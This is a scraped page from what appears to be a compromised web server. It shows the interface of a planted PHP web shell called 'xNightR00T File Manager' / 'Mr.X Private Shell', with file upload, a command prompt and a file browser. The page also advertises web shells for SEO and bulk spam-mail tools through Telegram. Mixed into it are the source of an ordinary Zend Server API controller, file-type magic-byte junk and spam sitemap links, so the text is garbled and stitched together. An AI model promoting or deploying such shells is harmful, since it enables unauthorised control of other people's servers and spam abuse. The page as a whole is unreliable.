xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Issue\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController;
use Issue\Container as IssueContainer;
use Zend\Stdlib\Parameters;
use Acl\License\Exception;
use Zend\Mvc\Controller\ActionController,
    Application\Module,
    MonitorUi\Filter,
    WebAPI,
    Zend\Translator,
    Zend\Stdlib,
    Audit\Db\Mapper,
    Audit\Db\ProgressMapper,
    ZendServer\Log\Log,
    Zend\Validator,
    ZendServer\Set,
    ZendServer,
    Zsd\Db\TasksMapper;
use Zend\View\Model\ViewModel;

class WebAPIController extends WebAPIActionController
{

    /**
     * Count the number of issues according to a particular filter or customized filter list.
     * The response is a list of issue elements with their general details and event-groups identifiers.
     * 
     * @api
     * @method GET
     * @version 1.3
     * @section Monitoring
     * @name monitorCountIssuesByPredefinedFilter
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_monitorcountissuesbypredefinedfilter_method.htm
     * @response 
     * @param String filterId Required. The predefined filter's name. This parameter is case-sensitive
     * @param Array filters Optional. Add filter parameters in an ad-hoc manner. These filters will be added 
     *  to the predefined filter that was passed. This parameter is an array with a predefined set of parameters 
     *  that accept strings or arrays to hold multiple values:
     *      applicationIds: array, a list of application IDs to use for retrieving issue rows
     *      severities: array, a list of severities (info, normal, severe)
     *      statuses: array, a list of statuses (open, closed, reopened, ignored)
     *      eventTypes: array, a list of eventTypes (zend-error, function-error, request-slow-exec, function-slow-exec, request-relative-slow-exec, java-exception, request-large-mem-usage, request-relative-large-mem-usage, request-relative-large-out-size, jq-job-exec-error, jq-job-logical-failure, jq-job-exec-delay, jq-daemon-high-concurrency, tracer-write-file-fail, zsm-node-added-successfully, zsm-node-enabled, zsm-node-disabled, zsm-node-removed-successfully, zsm-node-is-not-responding, zsm-configuration-mismatch, zsm-restart-failed, zdd-deploy-success, zdd-deploy-error, zdd-redeploy-success, zdd-redeploy-error, zdd-remove-success, zdd-remove-error, zdd-update-success, zdd-update-error, zdd-rollback-success, zdd-rollback-error, custom
     *      freeText: string
     *      from: string, a timestamp to use for retrieving rows
     *      to: string, a timestamp to use for retrieving rows
     *      ruleNames: array, a list of rule names that are defined in the system: Function Error, Database Error, Slow Function Execution, Slow Query Execution, Slow Request Execution, High Memory Usage, Inconsistent Output Size, PHP Error, Uncaught Java Exception, Custom Event, Zend Framework Exception, Job Execution Error, Job Logical Failure, Job Execution Delay, Failed Writing Code Tracing Data and other custom names
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorCountIssuesByPredefinedFilterAction()
    {
        try {
            $this->isMethodGet();
            $params = $this->getParameters(array(
                'filters' => array(),
                'filterId' => 'dummy'
            ));
            $this->validateFilters($params['filters']);
            $this->validateFilterId($params['filterId']);
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }

        // check edition limitations to limit the period ("from" parameter)
        if (isset($params['filters']) && isset($params['filters']['from'])) {
            // check edition limitations to limit the period ("from" parameter)
            $from                    = $params['filters']['from'] ?? false;
            $this->MonitorAclLimitations()->fixFilter_from_byEdition($from);
            $params->filters['from'] = $from;
        }

        $totalCount = $this->getFilteredMapper()->getIssuesCount(array_merge($params['filters'],
                array('filterId' => $params['filterId'])));
        return array('totalCount' => $totalCount);
    }

    public function getIdeConfigAction()
    {
        $this->isMethodGet();
        // get IDE configurations
        $ideConfigMapper = $this->getLocator()->get('StudioIntegration\Mapper');
        $ideConfig       = $ideConfigMapper->getConfiguration();

        return new \WebAPI\View\WebApiResponseContainer(array('ideConfig' => array("debug_port" => $ideConfig->getPort(),
                "use_ssl" => intval($ideConfig->getSsl()),
                "debug_host" => $ideConfig->getCurrentHost(),
                "debug_fastfile" => 1,
                "use_tunneling" => 0,
                "autoDetect" => $ideConfig->getAutoDetect(),
                "autoDetectPort" => $ideConfig->getAutoDetectionPort(),
        )));
    }

    /**
     * Get the events are related to the job running, by severity order (from critical to warning)
     *
     * @api
     * @version 1.14
     * @section Monitoring
     * @method GET
     * @param integer limit
     * @param string direction
     * @response   {
            "issues": [{
                "id": "40",
                "eventType": "8",
                "rule": "Job Execution Error",
                "count": "100",
                "lastOccurance": "2017-02-22T16:20:01+02:00",
                "lastOccuranceTimestamp": 1487773201,
                "severity": "Critical",
                "status": "Open",
                "hasCodetracing": false,
                "codeTracingEventGroupId": "",
                "codeTracingTraceId": "",
                "ruleId": "12",
                "generalDetails": {
                    "url": "http://127.0.0.1/api/timeoutJob.php",
                    "baseUrl": "",
                    "sourceFile": "",
                    "sourceLine": "-1",
                    "function": "",
                    "customEventClass": "",
                    "aggregationHint": "",
                    "errorString": "",
                    "errorType": ""
                },
                "whatHappenedDetails": {
                    "eventsGroupId": "",
                    "eventsCount": 0,
                    "startTime": "",
                    "startTimeTimesatmp": 0,
                    "serverId": "",
                    "serverName": "",
                    "class": "",
                    "hasCodetracing": false,
                    "userData": "",
                    "javaBacktrace": "",
                    "execTime": 0,
                    "avgExecTime": 0,
                    "relExecTime": 0,
                    "memUsage": 0,
                    "avgMemUsage": 0,
                    "relMemUsage": 0,
                    "avgOutputSize": 0,
                    "relOutputSize": 0,
                    "load": 0
                },
                "routeDetails": "",
                "appName": "",
                "appId": 0,
                "jobId": "61097"
            }]
        }
     */
    public function monitorGetJobsIssuesBySeverityAction()
    {

        try {
            $this->isMethodGet();
            $params = $this->getParameters(array(
                'limit' => 10,
                'direction' => 'DESC'
            ));

            $this->validateLimit($params['limit']);
            $this->validateDirection($params['direction']);
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }


        try {
            $issues = $this->getFilteredMapper()->getIssueMapper()->getJobIssuesBySeverity($params->toArray());
        } catch (\Exception $e) {
            ZendServer\Log\Log::err(_t('Error in retrieving issues: ').$e->getMessage());
            throw new WebAPI\Exception(_t('Error in retrieving issues. For more details see the UI log.'),
            WebAPI\Exception::NOT_SUPPORTED_BY_EDITION);
        }

        $newIssues = array();

        $issueIds = array();
        foreach ($issues as $issue) { /* @var $issue \Issue\Container */
            $issueIds[] = $issue->getId();
        }

        $eventsMapper             = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $eventsMapper \EventsGroup\Db\Mapper */
        $orderedLastEventsResults = array();
        $lastEventsResults        = $eventsMapper->getIssuesLastEventGroupData($issueIds);

        foreach ($lastEventsResults as $lastEventsResult) { /* @var $lastEventsResult \EventsGroup\Container */
            $orderedLastEventsResults[$lastEventsResult->getIssueId()] = $lastEventsResult->toArray();
        }

        $lastEvents = new Set($orderedLastEventsResults, '\EventsGroup\Container');

        foreach ($issues as $issue) { /* @var $issue \Issue\Container */
            $maxEventGroup = $lastEvents[$issue->getId()]; /* @var $maxEventGroup \EventsGroup\Container */
            $issue->setMaxEventGroup($maxEventGroup);
            if ($maxEventGroup->hasCodetracing()) {
                $issue->setCodeTracingEventGroupId($maxEventGroup->getEventsGroupId());
            } else {
                $issue->setCodeTracingEventGroupId('');
            }

            $newIssues[] = $issue;
        }

        $issues = new Set($newIssues, null);

        $deploymentModel = $this->getLocator()->get('Deployment\FilteredAccessMapper'); /* @var $deploymentModel \Deployment\FilteredAccessMapper */
        $applicationsSet = $deploymentModel->getAllApplicationsInfo();
        $applicationsSet->setHydrateClass('\Deployment\Application\InfoContainer');

        return array('applications' => $applicationsSet, 'issues' => $issues, 'limitCount' => count($issues));
    }

    public function eventFilterGetMetaDataAction()
    {
        $this->isMethodGet();

        $filterDictionary = $this->getLocator()->get('Issue\Filter\Dictionary'); /* @var $filterDictionary \Issue\Filter\Dictionary */

        //////// get audit "operations" list
        $mapper         = $this->getLocator()->get('MonitorRules\Model\Mapper'); /* @var $mapper \MonitorRules\Model\Mapper */
        $ruleNames      = $mapper->getRuleNames();
        $ruleNamesArray = array();
        foreach ($ruleNames as $name) {
            $ruleNamesArray[$name['NAME']] = $name['NAME'];
        }

        ////// get "applications"
        $deploymentModel        = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications           = $deploymentModel->getMasterApplications();
        $applications->setHydrateClass('\Deployment\Application\Container');
        $applicationsDictionary = array();
        foreach ($applications as $app) {
            $applicationsDictionary[$app->getApplicationId()] = $app->getUserApplicationName();
        }
        $applicationsDictionary[\Application\View\Helper\Filter::NO_APP_MATCH_FLAG] = \Application\View\Helper\Filter::NO_APP_MATCH_TEXT;


        ////////////// get "scheduling rules"
        $mapper          = $this->getLocator()->get('JobQueue\Db\Mapper'); /* @var $mapper \JobQueue\Db\Mapper */
        $schedulingRules = array();
        foreach ($mapper->getSchedulingRules() as $rule) {
            $schedulingRules[$rule['id']] = $rule['name'];
        }

        return new \WebAPI\View\WebApiResponseContainer(array(
            'severities' => $filterDictionary->getIssueSeverities(),
            'eventTypes' => $filterDictionary->getIssueEventGroups(),
            'ruleNames' => $ruleNamesArray,
            'applicationIds' => $applicationsDictionary,
            'rule_ids' => $schedulingRules,
        ));
    }
    
    /**
     * Retrieve an issue's details according to the issueId passed as a
     * parameter. Additional information about event groups is also
     * displayed.
     * 
     * @api
     * @method GET
     * @version 1.2
     * @section Monitoring
     * @name monitorGetIssueDetails
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/monitorgetissuesdetails.htm
     * @permissions Read-only
     * @editions Zend Server
     * @param String issueId Required. The predefined filter's id. Can be the filter's name or the actual
     * 	identifier randomly created by the system. This parameter is
     * 	case-sensitive
     * @param integer limit Optional. Limits the number of eventsGroups returned with the issue details
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorGetIssueEventGroupsAction()
    {
        try {
            $this->isMethodGet();
            $params = $this->getParameters();
            $this->validateMandatoryParameters($params, array('issueId'));
            $this->validateIssueId($params['issueId']);
            $this->validateInteger($params['limit'], 'limit');
            $this->validateInteger($params['offset'], 'offset');
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }

        try {

            $eventsDbModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $eventsDbModel \EventsGroup\Db\Mapper */

            $eventsGroups = $eventsDbModel->getEventsGroups($params['issueId'], $params['limit'], $params['offset']);

            $ids = array();
            foreach ($eventsGroups as $eventsGroup) { /* @var $eventsGroup \EventsGroup\Container */
                $ids[] = $eventsGroup->getEventsGroupId();
            }
            $events = $eventsDbModel->getEventGroupsData($ids)->toArray();
        } catch (ZendServer\Exception $e) {
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::NO_SUCH_ISSUE);
        }

        return array('eventsGroups' => $eventsGroups, 'events' => $events);
    }


    /**
     * Get monitor issues based on some filtering parameters. 
     * 
     * @api
     * @method GET
     * @version 1.3
     * @section Monitoring
     * @name monitorGetIssueDetails
     * @permissions Full
     * @editions Zend Server
     * @response {
            "issue": {
                "id": "57",
                "eventType": "6",
                "rule": "PHP Error",
                "count": "1",
                "lastOccurance": "2018-06-03T14:32:21+03:00",
                "lastOccuranceTimestamp": 1528025541,
				"phpVersion": "7.2",
                "severity": "Warning",
                "status": "Open",
                "hasCodetracing": false,
                "codeTracingEventGroupId": "",
                "codeTracingTraceId": "",
                "ruleId": "8",
                "hasFileName": true,
                "fileName": "\/var\/www\/html\/jobs\/rand_error.php",
                "generalDetails": {
                    "url": "http:\/\/localhost\/jobs\/rand_error.php",
                    "baseUrl": "",
                    "sourceFile": "\/var\/www\/html\/jobs\/rand_error.php",
                    "sourceLine": "6",
                    "function": "mysqli_connect",
                    "customEventClass": "",
                    "aggregationHint": "",
                    "errorString": "mysqli_connect() expects parameter 1 to be string, array given",
                    "errorType": "E_WARNING"
                },
                "whatHappenedDetails": {
                    "eventsGroupId": "57",
                    "eventsCount": "1",
                    "startTime": "2018-06-03T14:32:21+03:00",
                    "startTimeTimesatmp": "1528025541",
                    "serverId": "0",
                    "serverName": "",
                    "class": "",
                    "hasCodetracing": false,
                    "hasFileName": false,
                    "fileName": "",
                    "userData": "",
                    "javaBacktrace": "",
                    "execTime": 0,
                    "avgExecTime": 0,
                    "relExecTime": 0,
                    "memUsage": 0,
                    "avgMemUsage": 0,
                    "relMemUsage": 0,
                    "avgOutputSize": 0,
                    "relOutputSize": 0,
                    "load": 0
                },
                "routeDetails": "",
                "appName": "",
                "appId": "",
                "jobId": "",
                "jobDetails": []
            },
            "eventsGroups": [{
                "eventsGroupId": "57",
                "eventsCount": "1",
                "startTime": "2018-06-03T14:32:21+03:00",
                "startTimeTimesatmp": "1528025541",
                "serverId": "0",
                "serverName": "greg-zend-ubuntu",
                "class": "",
                "hasCodetracing": false,
                "hasFileName": false,
                "fileName": "",
                "userData": "",
                "javaBacktrace": "",
                "execTime": 0,
                "avgExecTime": 0,
                "relExecTime": 0,
                "memUsage": 0,
                "avgMemUsage": 0,
                "relMemUsage": 0,
                "avgOutputSize": 0,
                "relOutputSize": 0,
                "load": 0
            }]
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorGetIssueDetailsAction()
    {
        try {
            $this->isMethodGet();
            $params = $this->getParameters(array('limit' => 0));
            $this->validateMandatoryParameters($params, array('issueId'));
            $this->validateIssueId($params['issueId']);
            $this->validateInteger($params['limit'], 'limit');
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }

        try {

            $issuesDbModel = $this->getLocator()->get('Issue\Db\Mapper'); /* @var $issuesDbModel \Issue\Db\Mapper */
            $eventsDbModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $eventsDbModel \EventsGroup\Db\Mapper */

            $issue        = $issuesDbModel->getIssue($params['issueId']);
            $issue->setMaxEventGroup($this->getMaxEventGroup($issue->getId()));
            $eventsGroups = $eventsDbModel->getEventsGroups($params['issueId'], $params['limit']);

            $mvcIssueData = $this->getFilteredMapper()->getIssueMapper()->getRelevantMvc(array($issue->getId()));
            if (isset($mvcIssueData[$issue->getId()])) {
                $issue->setMvcData($mvcIssueData[$issue->getId()]);
            }
            $eventGroup = $eventsGroups->current(); /* @var $eventGroup \EventsGroup\Container */
            $eventsData = $eventsDbModel->getEventGroupsData(array($eventGroup->getEventsGroupId()));

            $issue->setEventGroupPHPVersion($eventsDbModel->getRequestPHPVersion($eventGroup->getEventsGroupId()));
            $serverIdstoNames = $this->getServersNames($eventsGroups);
        } catch (ZendServer\Exception $e) {
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::NO_SUCH_ISSUE);
        }

        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applicationsSet = $deploymentModel->getAllApplicationsInfo();
        $applicationsSet->setHydrateClass('\Deployment\Application\InfoContainer');

        return array('applications' => $applicationsSet, 'issue' => $issue, 'eventsGroups' => $eventsGroups, 'serverIdstoNames' => $serverIdstoNames,
            'totalCount' => $eventsGroups->count(), 'eventsData' => $eventsData);
    }

    /**
     * Delete monitor issues based on some filtering parametersResponse
     * returns the amount of issues that were deleted. Note though, that as
     * this method only marks the issues for deletion, subsequent calls with
     * the same parameters will return the same size of issues deleted
     * rather than expected 0.
     * 
     * @api
     * @method POST
     * @version 1.3
     * @section Monitoring
     * @name monitorDeleteIssuesByPredefinedFilter
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_monitordeleteissuesbypredefinedfilter_method.htm
     * @permissions Full
     * @editions Zend Server
     * @param String filterId Required. The predefined filter's name. This parameter is case-sensitive
     * @param Array filters Optional. Add filter parameters in an ad-hoc manner. These filters will be added 
     *      to the predefined filter that was passed. This parameter is an array with a predefined set of parameters 
     *      that accept strings or arrays to hold multiple values:
     *      applicationIds: array, a list of application IDs to use for retrieving issue rows
     *      severities: array, a list of severities (info, normal, severe)
     *      statuses: array, a list of statuses (open, closed, reopened, ignored)
     *      eventTypes: array, a list of eventTypes (zend-error, function-error, request-slow-exec, function-slow-exec, request-relative-slow-exec, java-exception, request-large-mem-usage, request-relative-large-mem-usage, request-relative-large-out-size, jq-job-exec-error, jq-job-logical-failure, jq-job-exec-delay, jq-daemon-high-concurrency, tracer-write-file-fail, zsm-node-added-successfully, zsm-node-enabled, zsm-node-disabled, zsm-node-removed-successfully, zsm-node-is-not-responding, zsm-configuration-mismatch, zsm-restart-failed, zdd-deploy-success, zdd-deploy-error, zdd-redeploy-success, zdd-redeploy-error, zdd-remove-success, zdd-remove-error, zdd-update-success, zdd-update-error, zdd-rollback-success, zdd-rollback-error, custom
     *      freeText: string
     *      from: string, a timestamp to use for retrieving rows
     *      to: string, a timestamp to use for retrieving rows
     *      ruleNames: array, a list of rule names that are defined in the system: Function Error, Database Error, Slow Function Execution, Slow Query Execution, Slow Request Execution, High Memory Usage, Inconsistent Output Size, PHP Error, Uncaught Java Exception, Custom Event, Zend Framework Exception, Job Execution Error, Job Logical Failure, Job Execution Delay, Failed Writing Code Tracing Data and other custom names
     *
     * @response {
            "szDeleted": "3"
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorDeleteIssuesByPredefinedFilterAction()
    {
        try {
            $this->isMethodPost();
            $params = $this->getParameters(array('filters' => array(), 'filterId' => 'dummy'));
            $this->validateFilters($params['filters']);
            $this->validateFilterId($params['filterId']);
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }
        
        // disable time limit, when there are a lot of issues.
        set_time_limit(10 * 60); // 10 minutes

        $monitorUiModel = $this->getLocator()->get('MonitorUi\Model\Model'); /* @var $monitorUiModel \MonitorUi\Model\Model */
        $szDeleted      = $monitorUiModel->deleteIssuesByFilter(array_merge($params['filters'],
                array('filterId' => $params['filterId'])));

        $this->getTasksMapper()->insertTask(TasksMapper::DUMMY_NODE_ID, TasksMapper::COMMAND_MONITOR_RESET_CACHE,
            array());

        return $this->postProcessDelete($szDeleted);
    }

    /**
     * Delete monitor issues based on issueIds passed.Response returns the
     * amount of issues that were deleted. Note though, that as this method
     * only marks the issues for deletion, subsequent calls with the same
     * parameters will return the same size of issues deleted rather than
     * expected 0.
     * 
     * @api
     * @method POST
     * @version 1.3
     * @section Monitoring
     * @name monitorDeleteIssues
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_monitordeleteissues_method.htm
     * @permissions Full
     * @editions Zend Server
     * @param array issuesIds Required. The issue IDs to delete
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorDeleteIssuesAction()
    {
        try {
            $this->isMethodPost();
            $params    = $this->getParameters(array('issuesIds' => array()));
            $this->validateMandatoryParameters($params, array('issuesIds'));
            $issuesIds = $this->validateArrayNonEmpty($params['issuesIds'], 'issuesIds');
        } catch (ZendServer\Exception $e) {
            $this->handleException($e, 'Input validation failed');
        }

        $audit = $this->auditMessage(Mapper::AUDIT_MONITOR_RULES_REMOVE, ProgressMapper::AUDIT_PROGRESS_REQUESTED,
            array($params));
        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_STARTED);

        try {
            $monitorUiModel = $this->getLocator()->get('MonitorUi\Model\Model'); /* @var $monitorUiModel \MonitorUi\Model\Model */
            $szDeleted      = $monitorUiModel->deleteIssues($issuesIds);

            $this->getTasksMapper()->insertTask(TasksMapper::DUMMY_NODE_ID, TasksMapper::COMMAND_MONITOR_RESET_CACHE,
                array());
        } catch (ZendServer\Exception $e) {
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::NO_SUCH_ISSUE);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        return $this->postProcessDelete($szDeleted);
    }

    /**
     * Modify an Issue's status code based on an Issue's Id and a status
     * code.
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Monitoring
     * @name monitorChangeIssueStatus
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/monitorchangeissuestatus.htm
     * @permissions Full
     * @editions Zend Server
     * @param String issueId Required. The issue identifier
     * @param String newStatus Required. The new status to set: Open | Closed | Ignored
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function monitorChangeIssueStatusAction()
    {
        return $this->forward()->dispatch('IssueWebApi-1_2', array('action' => 'monitorChangeIssueStatus')); /* @var $viewModel \Zend\View\Model\ViewModel */
    }

    /**
     *
     * @param ZendServer\Set[\EventsGroup\Container] $eventsGroups
     */
    protected function getServersNames($eventsGroups)
    {
        $allServersIds       = $this->getServersMapper()->findAllServersNamesByIds();
        $eventGroupServerIds = array();
        foreach ($eventsGroups as $eventsGroup) {
            $eventGroupServerIds[$eventsGroup->getServerId()] = 'WILL_BE_OVERWRITTEN';
        }

        return array_intersect_key($allServersIds, $eventGroupServerIds); // return intersected ids, values are the serverNames
    }

    protected function postProcessDelete($szDeleted)
    {
        $this->setHttpResponseCode('202', 'Accepted');
        $viewModel = new ViewModel(array('szDeleted' => $szDeleted));
        $viewModel->setTemplate('issue/web-api/monitor-delete-issues');
        return $viewModel;
    }

    /**
     * @param integer $issueId
     * @throws WebAPI\Exception
     */
    protected function validateIssueId($issueId)
    {
        return $this->validateInteger($issueId, 'issueId');
    }

    /**
     * @param mixed $filters
     * @throws WebAPI\Exception
     */
    protected function validateFilters($filters)
    {
        if (!is_array($filters)) {
            throw new WebAPI\Exception(
            _t('Parameter \'filters\' must be an array of filter information'), WebAPI\Exception::INVALID_PARAMETER);
        }

        if (isset($filters['appId'])) {
            $this->validateApplicationIds($filters['appId']);
        }
    }

    /**
     * @param string $filterId
     * @throws WebAPI\Exception
     */
    protected function validateFilterId($filterId)
    {
        $filterIdValidator = new Validator\Regex('#^[[:word:] ]+$#');
        if (!$filterIdValidator->isValid($filterId)) {
            throw new WebAPI\Exception(
            _t('Parameter \'filterId\' must be a valid filter identifier'), WebAPI\Exception::INVALID_PARAMETER);
        }
    }

    /**
     * @param mixed $applicationIds
     * @throws WebAPI\Exception
     */
    protected function validateApplicationIds($applicationIds)
    {
        if (!is_array($applicationIds)) {
            throw new WebAPI\Exception(
            _t('Filter \'appId\' must be an array of application IDs'), WebAPI\Exception::INVALID_PARAMETER);
        }

        /// if not all values are numeric
        if (!array_reduce($applicationIds,
                function($v, $w) {
                return $v ? is_numeric($w) : $v;
            }, true)) {
            throw new WebAPI\Exception(
            _t('Filter \'filterId\' must be an array of integers'), WebAPI\Exception::INVALID_PARAMETER);
        }
    }

    protected function getLastCodeTracingGroupId(\Issue\Container $issue)
    {
        if (!$issue->hasTrace()) return '';

        $eventsGroups = $this->getMonitorUiModel()->getEventsGroups($issue->getId());
        foreach ($eventsGroups as $eventGroup) {/* @var $eventGroup \EventsGroup\Container */
            if ($eventGroup->hasCodetracing()) {
                return $eventGroup->getEventsGroupId(); // getEventsGroups() returns the group from latest to oldest, hence the first one we find is the latest trace
            }
        }

        return '';
    }

    protected function getMaxEventGroup($issueId)
    {
        $eventsGroups  = $this->getLocator()->get('EventsGroup\Db\Mapper')->getEventsGroups($issueId);
        $maxEventGroup = null; /* @var $maxEventGroup \EventsGroup\Container */
        foreach ($eventsGroups as $eventGroup) {
            $maxEventGroup = $this->getLargerEventGroup($maxEventGroup, $eventGroup);
        }

        return $maxEventGroup;
    }

    protected function getLargerEventGroup($eventsGroup1, $eventsGroup2)
    {
        return $eventsGroup2; //@todo - place some logic here
    }

    /**
     * @param integer $order
     * @throws WebAPI\Exception
     */
    protected function validateOrder($order)
    {
        $order       = strtolower($order);
        $sortColumns = array_change_key_case($this->getMonitorUiModel()->getSortColumnsDictionary());
        if (!isset($sortColumns[$order])) {
            throw new WebAPI\Exception(
            _t('Parameter \'order\' must be one of %s',
                array(implode(', ', array_keys($this->getMonitorUiModel()->getSortColumnsDictionary())))),
            WebAPI\Exception::INVALID_PARAMETER);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
IssueController.php File 10.87 KB 0644
ListController.php File 5.51 KB 0644
WebAPI12Controller.php File 14.53 KB 0644
WebAPIController.php File 30.19 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml